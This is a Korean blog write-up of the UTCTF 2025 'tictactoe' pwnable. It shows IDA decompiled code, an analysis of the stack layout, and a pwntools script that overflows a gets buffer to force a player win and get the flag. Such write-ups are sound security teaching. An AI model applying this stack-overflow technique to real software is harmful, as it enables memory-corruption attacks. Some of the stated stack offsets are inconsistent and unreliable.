[UTCTF2025] tictactoe pwnable 롸업WRITEUP

누더기 골렘의 무더기·2025년 3월 21일

문제

틱택토라는 파일 하나가 주어졌었다.
해당 파일을 실행시켜보았다.

플레이어가 장기말(x,o)의 종류를 정하고 상대 cpu가 먼저 장기말을 위치에 놔둔다.

그 다음 플레이어는 자신의 장기말을 어디에다가 둘 지 정한다.

이렇게 여러번 반복해본 결과 cpu가 이기거나 비길 수 밖에 없었다...

그래서 IDA를 이용해 분석에 들어가보았다.

IDA 분석

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rsi
  __int64 v4; // rsi
  __int64 v5; // rsi
  __int64 v6; // rsi
  _BYTE spot4[2]; // [rsp+3h] [rbp-4Dh] BYREF
  _BYTE spot3[2]; // [rsp+5h] [rbp-4Bh] BYREF
  _BYTE spot2[2]; // [rsp+7h] [rbp-49h] BYREF
  _BYTE spot1[2]; // [rsp+9h] [rbp-47h] BYREF
  _BYTE player_type[2]; // [rsp+Bh] [rbp-45h] BYREF
  _BYTE xo[7]; // [rsp+Dh] [rbp-43h] BYREF
  int v13; // [rsp+14h] [rbp-3Ch]
  __int64 v14; // [rsp+18h] [rbp-38h]
  __int64 v15; // [rsp+20h] [rbp-30h]
  __int64 v16; // [rsp+28h] [rbp-28h]
  int v17; // [rsp+30h] [rbp-20h]
  int v18; // [rsp+38h] [rbp-18h]
  int v19; // [rsp+3Ch] [rbp-14h]
  int idx1; // [rsp+40h] [rbp-10h]
  int idx0; // [rsp+44h] [rbp-Ch]
  int v22; // [rsp+48h] [rbp-8h]
  int cpuwin; // [rsp+4Ch] [rbp-4h]
                                                // table 배열을 0으로 초기화 하는 것으로 보임
  xo[4] = 0;                                    // table[1] = 0? ;
  *(_WORD *)&xo[5] = 0;
  v13 = 0;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0;
  strcpy(xo, " xo");
  cpuwin = 0;
  v22 = 0;
  printf("Choose x or o: ");
  gets(player_type, argv);
  if ( player_type[0] == 'x' )
  {
    qmemcpy(&xo[1], "ox", 2);                   // 플레이어가 x를 선택하면 xo 배열에 ox 값을 넣음
  }
  else if ( player_type[0] != 'o' )
  {
    puts("Unknown option");
    exit(0);
  }
  *(_DWORD *)&xo[3] = 1;                        // xo[0,1,2] 에는 " xo" 혹은 " ox" 이 들어가있음. xo[3] 부터는 table 배열이 시작되는 것으로 판단
  puts("Current board state: ");
  v3 = (unsigned int)(char)xo[*(int *)&xo[3]];  // v3 = xo[3] = table[0]
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    v3,                                         // table[0]
    (unsigned int)(char)xo[v13],                // table[1] ...
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);               // ...table[8]
  while ( 1 )
  {
    printf("Enter 1-9 to select a spot: ");
    gets(spot1, v3);
    if ( !*(_DWORD *)&xo[4 * spot1[0] - 193] )
      break;
    puts("Invalid spot!");
  }
  *(_DWORD *)&xo[4 * spot1[0] - 193] = 2;       // spot1에 입력받은 테이블의 위치를 2, 즉 player의 위치로 넣음
  idx0 = spot1[0] - 49;
  puts("Current board state: ");
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    (unsigned int)(char)xo[*(int *)&xo[3]],     // xo[3]. 즉, table[0] 에는 1의 값이 들어가있음
    (unsigned int)(char)xo[v13],
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);
  if ( idx0 > 2 )
  {
    if ( idx0 <= 6 )
    {
      if ( idx0 == 5 )
        LODWORD(v15) = 1;                       // table[5] = 1, 여기서 1은 cpu 자리를 뜻함
      else
        v13 = 1;
    }
    else
    {
      LODWORD(v14) = 1;
    }
  }
  else
  {
    HIDWORD(v14) = 1;
  }
  puts("Current board state: ");
  v4 = (unsigned int)(char)xo[*(int *)&xo[3]];
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    v4,
    (unsigned int)(char)xo[v13],
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);
  while ( 1 )
  {
    printf("Enter 1-9 to select a spot: ");
    gets(spot2, v4);
    if ( !*(_DWORD *)&xo[4 * spot2[0] - 193] )
      break;
    puts("Invalid spot!");
  }
  *(_DWORD *)&xo[4 * spot2[0] - 193] = 2;
  idx1 = spot2[0] - 49;
  puts("Current board state: ");
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    (unsigned int)(char)xo[*(int *)&xo[3]],
    (unsigned int)(char)xo[v13],
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);
  if ( idx0 > 2 )
  {
    if ( idx0 <= 6 )
    {
      if ( idx0 == 5 )
      {
        if ( idx1 != 8 )
        {
          v17 = 1;
          cpuwin = 1;
        }
      }
      else if ( idx1 != 2 )
      {
        LODWORD(v14) = 1;
        cpuwin = 1;
      }
    }
    else if ( idx1 != 1 )
    {
      v13 = 1;
      cpuwin = 1;
    }
  }
  else if ( idx1 != 6 )
  {
    LODWORD(v16) = 1;
    cpuwin = 1;
  }
  if ( cpuwin )
  {
    puts("Current board state: ");
    printf(
      "%c%c%c\n%c%c%c\n%c%c%c\n",
      (unsigned int)(char)xo[*(int *)&xo[3]],
      (unsigned int)(char)xo[v13],
      (unsigned int)(char)xo[(int)v14],
      (unsigned int)(char)xo[SHIDWORD(v14)],
      (unsigned int)(char)xo[(int)v15],
      (unsigned int)(char)xo[SHIDWORD(v15)],
      (unsigned int)(char)xo[(int)v16],
      (unsigned int)(char)xo[SHIDWORD(v16)],
      (unsigned int)(char)xo[v17]);
    puts("CPU wins");
    exit(0);
  }
  if ( idx0 <= 3 || idx0 == 6 || idx0 == 7 )
  {
    LODWORD(v15) = 1;
  }
  else if ( idx0 == 5 )
  {
    LODWORD(v14) = 1;
  }
  else
  {
    LODWORD(v16) = 1;
  }
  puts("Current board state: ");
  v5 = (unsigned int)(char)xo[*(int *)&xo[3]];
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    v5,
    (unsigned int)(char)xo[v13],
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);
  while ( 1 )
  {
    printf("Enter 1-9 to select a spot: ");
    gets(spot3, v5);
    if ( !*(_DWORD *)&xo[4 * spot3[0] - 193] )
      break;
    puts("Invalid spot!");
  }
  *(_DWORD *)&xo[4 * spot3[0] - 193] = 2;
  v19 = spot3[0] - 49;
  puts("Current board state: ");
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    (unsigned int)(char)xo[*(int *)&xo[3]],
    (unsigned int)(char)xo[v13],
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);
  switch ( idx0 )
  {
    case 1:
    case 2:
      if ( v19 == 5 )
        v17 = 1;
      else
        HIDWORD(v15) = 1;
      cpuwin = 1;
      break;
    case 3:
    case 6:
      if ( v19 == 7 )
        v17 = 1;
      else
        HIDWORD(v16) = 1;
      cpuwin = 1;
      break;
    case 5:
      if ( v19 == 1 )
        LODWORD(v16) = 1;
      else
        v13 = 1;
      cpuwin = 1;
      break;
    case 7:
      if ( v19 == 6 )
        v17 = 1;
      else
        LODWORD(v16) = 1;
      cpuwin = 1;
      break;
    case 8:
      if ( v19 == 3 )
        LODWORD(v15) = 1;
      else
        HIDWORD(v14) = 1;
      cpuwin = 1;
      break;
    default:
      if ( v19 == 3 )
      {
        HIDWORD(v15) = 1;
      }
      else
      {
        HIDWORD(v14) = 1;
        cpuwin = 1;
      }
      break;
  }
  puts("Current board state: ");
  v6 = (unsigned int)(char)xo[*(int *)&xo[3]];
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    v6,
    (unsigned int)(char)xo[v13],
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);
  if ( cpuwin )
  {
    puts("CPU wins");
    exit(0);
  }
  while ( 1 )
  {
    printf("Enter 1-9 to select a spot: ");
    gets(spot4, v6);
    if ( !*(_DWORD *)&xo[4 * spot4[0] - 193] )
      break;
    puts("Invalid spot!");
  }
  *(_DWORD *)&xo[4 * spot4[0] - 193] = 2;
  v18 = spot4[0] - 49;
  puts("Current board state: ");
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    (unsigned int)(char)xo[*(int *)&xo[3]],
    (unsigned int)(char)xo[v13],
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);
  if ( v18 == 7 )
    v17 = 1;
  else
    HIDWORD(v16) = 1;
  puts("Current board state: ");
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    (unsigned int)(char)xo[*(int *)&xo[3]],
    (unsigned int)(char)xo[v13],
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);
  if ( cpuwin )
  {
    puts("CPU wins");
  }
  else if ( v22 )
  {
    puts("Player wins");
    get_flag();
  }
  else
  {
    puts("Tie");
  }
  exit(0);
}

역어셈블리 코드를 분석해보면서 실행 흐름을 파악하여 이름 불명이었던 변수들을 내 입맛대로 rename 하였다.

모든 입력을 gets 함수로 받으니 버퍼 오버 플로우 취약점을 노려보면 될 것 같았다.

cpuwin 함수가 1이면 플레이어는 지게 되고, playerwin(v22)가 1이 되면 플레이어는 이기게되면서 get_flag() 함수를 호출하게 된다.

우리의 목적은 playerwin 변수를 1로 조작하는 것이다.

근데 여기서 가장 헷갈렸던 점은 xo[7] 부분이었다.

xo[7]은 무슨 변수인가?

{
  __int64 v3; // rsi
  __int64 v4; // rsi
  __int64 v5; // rsi
  __int64 v6; // rsi
  _BYTE spot4[2]; // [rsp+3h] [rbp-4Dh] BYREF
  _BYTE spot3[2]; // [rsp+5h] [rbp-4Bh] BYREF
  _BYTE spot2[2]; // [rsp+7h] [rbp-49h] BYREF
  _BYTE spot1[2]; // [rsp+9h] [rbp-47h] BYREF
  _BYTE player_type[2]; // [rsp+Bh] [rbp-45h] BYREF
  _BYTE xo[7]; // [rsp+Dh] [rbp-43h] BYREF
  int v13; // [rsp+14h] [rbp-3Ch]
  __int64 v14; // [rsp+18h] [rbp-38h]
  __int64 v15; // [rsp+20h] [rbp-30h]
  __int64 v16; // [rsp+28h] [rbp-28h]
  int v17; // [rsp+30h] [rbp-20h]
  int v18; // [rsp+38h] [rbp-18h]
  int v19; // [rsp+3Ch] [rbp-14h]
  int idx1; // [rsp+40h] [rbp-10h]
  int idx0; // [rsp+44h] [rbp-Ch]
  int v22; // [rsp+48h] [rbp-8h]
  int cpuwin; // [rsp+4Ch] [rbp-4h]
                                                // table 배열을 0으로 초기화 하는 것으로 보임
  xo[4] = 0;                                    // table[1] = 0? ;
  *(_WORD *)&xo[5] = 0;
  v13 = 0;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0;
  strcpy(xo, " xo");
  cpuwin = 0;
  v22 = 0;
  printf("Choose x or o: ");
  gets(player_type, argv);
  if ( player_type[0] == 'x' )
  {
    qmemcpy(&xo[1], "ox", 2);                   // 플레이어가 x를 선택하면 xo 배열에 ox 값을 넣음
  }
  else if ( player_type[0] != 'o' )
  {
    puts("Unknown option");
    exit(0);
  }
  *(_DWORD *)&xo[3] = 1;               

Choose x or o 를 물어본 뒤 player_type을 gets 한다. 그 뒤의 입력들도 다 gets 함수로 입력받으니 버퍼오버플로우 취약점이 존재한다.

여기서 player_type이 x라면 xo[1] 에서부터 2바이트까지 ox를 복사하고, 그렇지 않으면 초기에 설정했었던 x[7] = " xo" 값을 그대로 유지한다.

여기서 의문인점은 3개의 문자를 저장하는데 왜 xo는 7바이트의 범위를 가지는가...? 였다.

그리고 xo[3] 위치를 왜 1로 초기화 하는것인가...

흐름을 살펴보니... xo[3] 위치에 1을 넣는다는 것은 cpu의 장기말이 위치했다는 뜻..
2는 플레이어의 장기말이 위치했다는 뜻...

tictactoe 판은 3*3 구조로 되어있으며,

v3 = (unsigned int)(char)xo[*(int *)&xo[3]];  // v3 = xo[3] = table[0]
  printf(
    "%c%c%c\n%c%c%c\n%c%c%c\n",
    v3,                                         // table[0]
    (unsigned int)(char)xo[v13],                // table[1] ...
    (unsigned int)(char)xo[(int)v14],
    (unsigned int)(char)xo[SHIDWORD(v14)],
    (unsigned int)(char)xo[(int)v15],
    (unsigned int)(char)xo[SHIDWORD(v15)],
    (unsigned int)(char)xo[(int)v16],
    (unsigned int)(char)xo[SHIDWORD(v16)],
    (unsigned int)(char)xo[v17]);               // ...table[8]

이렇게 v3 = xo[3] 부터 xo[v17] 까지 9개의 값을 포맷스트링을 통하여 프린트 하는 것을 알았다.

아까 x[0,1,2] = ' xo' 로 초기화 하였다... 그렇다면 xo[3] 부터는 tictactoe 판의 상황을 나타내는 배열이 시작되는 것임을 유추해보았다...

따라서 해당 정보와 함께 스택프레임을 짜보았다.

스택 구조

ㅎㅎ,,,,ㅈㅅ,,,,^^;;;,,,ㅋㅋ!!;;;,,,

암튼 xo는 3바이트의 문자를 담는 배열로 해석하였고, xo[3]부터 v17까지는 틱택토 테이블의 정보를 담는 table[9] 배열로 해석하였다.
우리는 버퍼 오버 플로우를 이용하여 player_win 변수를 1로 덮어씌우면 된다....

익스플로잇

내가 참고했었던 라이트 업에서는 세번째 입력에 버퍼 오버 플로우를 일으켜 player_win 변수를 1로 덮어씌웠는데,,.

두번째 입력이나 첫번째 입력에서는 오버플로우가 안되나 싶어서 시도를 해보았지만,,,,

테이블의 값들과 player win 값과 cpu win 값을 적정값으로 덮어씌워도 추후에 입력받을 값들에 의해 cpu win 변수가 1로 설정되기도 하였다.

따라서 세번 째 입력에서 오버플로우를 일으키는 방법으로 익스플로잇 코드를 짜보았다.

from pwn import *

context.binary = ELF("./tictactoe")
#context.log_level = "debug"

p = process("./tictactoe")

# 정확한 출력 확인 및 전송
p.recvuntil(b"Choose x or o: ", timeout=5)
p.sendline(b"x")


p.recvuntil(b"Enter 1-9 to select a spot: ", timeout=5)
p.sendline(b"2")


p.recvuntil(b"Enter 1-9 to select a spot: ", timeout=5)
p.sendline(b"7")

payload = flat(
    {
        0: b'4',
        0xd - 5: b' ox',
        0x10 - 5: b'\x00' * 36,
        0x48 - 5 : b'\x01',
        0x4c - 5 : b'\x00',
    }, filler = b'\0'
)



p.recvuntil(b"Enter 1-9 to select a spot: ", timeout=5)
p.sendline(payload)


p.recvuntil(b"Enter 1-9 to select a spot: ", timeout=5)
p.sendline(b"3")

# 이후 진행
p.interactive()

여기서 flat이라는 함수를 처음 보았다.
여기에서는 세번째 입력값에 페이로드를 넣으므로,
페이로드가 들어갈 위치는 spot2(rsp + 5)이다.
xo의 위치는 rsp + 0x10
table의 위치는 rsp + 0x48
playerwin : rsp + 0x48
cpuwin: rsp + 0x4c 이다.

여기서 spot2의 위치는 rsp로 부터 + 5 의 오프셋을 가지므로,
나머지 위치에 -5 만큼 뺀다면 정확한 주소에 해당 값을 덮어씌울 수 있을 것이다.

결과

업로드중..

playerwin 변수가 1로 덮어씌워지면서 익스플로잇에 성공한 모습이다.

후기

IDA로 역어셈블하여 분석하는 단계가 정말 중요하다고 느꼈다...

profile
𝓗𝓮𝓵𝓵𝓸 𝓥𝓻𝓸

0개의 댓글